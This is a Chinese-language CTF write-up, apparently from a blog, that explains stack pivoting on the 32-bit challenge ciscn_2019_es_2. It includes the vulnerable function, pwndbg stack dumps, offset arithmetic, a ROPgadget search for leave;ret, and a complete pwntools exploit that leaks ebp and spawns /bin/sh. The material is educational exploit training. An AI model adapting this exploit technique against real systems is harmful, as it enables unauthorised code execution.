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        <p>栈迁移入门</p>
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<p>题目来源buu ciscn_2019_es_2</p>
<p>关键代码如下</p>
<p>read存在栈溢出但是溢出的不是很多我们不能直接去跳转到后面</p>
<p>而且这个后门他不能直接得到flag假的后门</p>
<p>so要用到栈迁移技术</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">int vul()</span><br><span class="line">&#123;</span><br><span class="line">  char s[40]; &#x2F;&#x2F; [esp+0h] [ebp-28h] BYREF</span><br><span class="line"></span><br><span class="line">  memset(s, 0, 0x20u);</span><br><span class="line">  read(0, s, 0x30u);</span><br><span class="line">  printf(&quot;Hello, %s\n&quot;, s);</span><br><span class="line">  read(0, s, 0x30u);</span><br><span class="line">  return printf(&quot;Hello, %s\n&quot;, s);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h2 id="大概理论"><a href="#大概理论" class="headerlink" title="大概理论"></a>大概理论</h2><p>我们先把变量数组填充满了，然后不要去加4(64位+8)去达到ebp去跳转</p>
<p>因为这里有print会输出，变量到返回地址0x28距离填满了就会泄露</p>
<p>ebp这里比较巧合直接泄露4个字符，刚好是ebp没有废物数据</p>
<p>用gdb调试如下</p>
<p>0xffffcfc0为字符串在栈上的地址(0a:0028│ ecx  0xffffcfc0 ◂— ‘hahaha\n’)</p>
<p>我们泄露的是ebp在栈上的地址</p>
<p>so我们要找ebp和这个0xffffcfc0的地址偏移</p>
<p>0xffffcff8-0xffffcfc0=0x38</p>
<p>hex(0xffffcfe8-0xffffcfc0)=0x28这个是输入点到ebp的偏移</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; stack 30</span><br><span class="line">00:0000│ esp  0xffffcf98 —▸ 0xffffcfe8 —▸ 0xffffcff8 ◂— 0x0</span><br><span class="line">01:0004│      0xffffcf9c ◂— 0x30 &#x2F;* &#39;0&#39; *&#x2F;</span><br><span class="line">02:0008│      0xffffcfa0 —▸ 0xffffcfc0 ◂— &#39;hahaha\n&#39;</span><br><span class="line">03:000c│      0xffffcfa4 —▸ 0xf7edac23 (__read_nocancel+25) ◂— pop    ebx</span><br><span class="line">04:0010│      0xffffcfa8 ◂— 0x0</span><br><span class="line">05:0014│      0xffffcfac —▸ 0x80485e5 (vul+80) ◂— add    esp, 0x10</span><br><span class="line">06:0018│      0xffffcfb0 ◂— 0x0</span><br><span class="line">07:001c│      0xffffcfb4 —▸ 0xffffcfc0 ◂— &#39;hahaha\n&#39;</span><br><span class="line">08:0020│      0xffffcfb8 ◂— 0x30 &#x2F;* &#39;0&#39; *&#x2F;</span><br><span class="line">09:0024│      0xffffcfbc —▸ 0xf7fb8d60 (_IO_2_1_stdout_) ◂— 0xfbad2887</span><br><span class="line">0a:0028│ ecx  0xffffcfc0 ◂— &#39;hahaha\n&#39;</span><br><span class="line">0b:002c│      0xffffcfc4 ◂— 0xa6168 &#x2F;* &#39;ha\n&#39; *&#x2F;</span><br><span class="line">0c:0030│      0xffffcfc8 ◂— 0x0</span><br><span class="line">... ↓</span><br><span class="line">12:0048│      0xffffcfe0 —▸ 0x80486d8 ◂— push   edi &#x2F;* &quot;Welcome, my friend. What&#39;s your name?&quot; *&#x2F;</span><br><span class="line">13:004c│      0xffffcfe4 —▸ 0xffffd0a4 —▸ 0xffffd285 ◂— &#39;&#x2F;home&#x2F;q&#x2F;c22&#39;</span><br><span class="line">14:0050│ ebp  0xffffcfe8 —▸ 0xffffcff8 ◂— 0x0</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<p>这里还要用到leave_ret</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">leave 等价于 mov ebp, esp; pop ebp;</span><br><span class="line">ret 等价于 pop eip;</span><br></pre></td></tr></table></figure>
<p>0x080484b8 : leave ; ret</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">q@ubuntu:~$ ROPgadget --binary c22 --only &#39;leave|ret&#39;</span><br><span class="line">Gadgets information</span><br><span class="line">&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;</span><br><span class="line">0x080484b8 : leave ; ret</span><br><span class="line">0x080483a6 : ret</span><br><span class="line">0x080484ce : ret 0xeac1</span><br></pre></td></tr></table></figure>
<p>这里还要说下执行了</p>
<p> leave ; ret</p>
<p>sp寄存器指向的栈地址会下移4位</p>
<p>so第二次传入payload去劫持栈的时候要先传4个字符</p>
<p>上exp咯</p>
<h2 id="exp"><a href="#exp" class="headerlink" title="exp:"></a>exp:</h2><p>这里发送不要用sendline</p>
<p>因为r.recvuntil(‘b’*8)我们不收\n</p>
<p>会造成影响so直接发送的时候就别发送\n最好</p>
<p>讲下payload1</p>
<p>发送4个字符压栈</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span><br><span class="line">r=process(<span class="string">&#x27;./c22&#x27;</span>)</span><br><span class="line">elf=ELF(<span class="string">&#x27;./c22&#x27;</span>)</span><br><span class="line">system=elf.plt[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">main=elf.sym[<span class="string">&#x27;main&#x27;</span>]</span><br><span class="line">leave_ret=<span class="number">0x080484b8</span></span><br><span class="line">payload=<span class="string">&#x27;a&#x27;</span>*<span class="number">0x20</span>+<span class="string">&#x27;b&#x27;</span>*<span class="number">8</span></span><br><span class="line">r.send(payload)</span><br><span class="line">r.recvuntil(<span class="string">&#x27;b&#x27;</span>*<span class="number">8</span>)</span><br><span class="line">ebp=u32(r.recv(<span class="number">4</span>))</span><br><span class="line">print(<span class="built_in">hex</span>(ebp))</span><br><span class="line"></span><br><span class="line">payload1=flat([<span class="string">&#x27;aaaa&#x27;</span>,p32(system),p32(<span class="number">0xdeadbeef</span>),p32(ebp-<span class="number">0x28</span>),<span class="string">&#x27;/bin/sh\x00&#x27;</span>]).ljust(<span class="number">0x28</span>,<span class="string">&#x27;\x00&#x27;</span>)+ flat([ebp - <span class="number">0x38</span>, leave_ret])</span><br><span class="line">r.send(payload1)</span><br><span class="line">r.interactive()</span><br></pre></td></tr></table></figure>

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